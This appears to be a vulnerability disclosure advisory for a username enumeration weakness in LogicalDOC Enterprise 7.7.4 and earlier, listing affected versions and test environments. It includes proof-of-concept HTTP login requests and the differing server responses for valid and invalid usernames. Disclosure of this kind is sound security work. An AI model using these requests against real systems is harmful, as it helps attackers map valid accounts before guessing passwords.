LogicalDOC Enterprise version 7.7.4 suffers from a username enumeration weakness vulnerability.
3341c6779b81ffecf5473a04978fa7c12903c213c570b25e23f72268fefccb43
LogicalDOC Enterprise 7.7.4 Username Enumeration Weakness
Vendor: LogicalDOC Srl
Product web page: https://www.logicaldoc.com
Affected version: 7.7.4
7.7.3
7.7.2
7.7.1
7.6.4
7.6.2
7.5.1
7.4.2
7.1.1
Summary: LogicalDOC is a free document management system that is designed
to handle and share documents within an organization. LogicalDOC is a content
repository, with Lucene indexing, Activiti workflow, and a set of automatic
import procedures.
Desc: The weakness is caused due to the 'j_spring_security_check' script
and how it verifies provided credentials. Attacker can use this weakness
to enumerate valid users on the affected node.
Tested on: Microsoft Windows 10
Linux Ubuntu 16.04
Java 1.8.0_161
Apache-Coyote/1.1
Apache Tomcat/8.5.24
Apache Tomcat/8.5.13
Undisclosed 8.41
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2018-5451
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5451.php
26.01.2018
--
Request/response for existent username:
---------------------------------------
POST /j_spring_security_check HTTP/1.1
Host: 192.168.1.74:8080
j_username=admin&j_password=123123&j_successurl=%2Ffrontend.jsp&j_failureurl=%2Flogin.jsp
--
HTTP/1.1 302
Set-Cookie: ldoc-failure=wrongpassword
Location: //login.jsp?failure=wrongpassword
Content-Length: 0
Date: Tue, 06 Feb 2084 19:42:15 GMT
Connection: close
Request/response for non-existent username:
-------------------------------------------
POST /j_spring_security_check HTTP/1.1
Host: 192.168.1.74:8080
j_username=n00b&j_password=123123&j_successurl=%2Ffrontend.jsp&j_failureurl=%2Flogin.jsp
--
HTTP/1.1 500
Set-Cookie: JSESSIONID=F06F1D03E249D90802AFE92428DBBEDD; Path=/; Secure; HttpOnly
Content-Type: text/html;charset=UTF-8
Content-Length: 78
Date: Tue, 06 Feb 2084 19:57:14 GMT
Connection: close
<html>
<body>
<div><br/><br/><strong>ERROR</strong></div>
</body>
<html>
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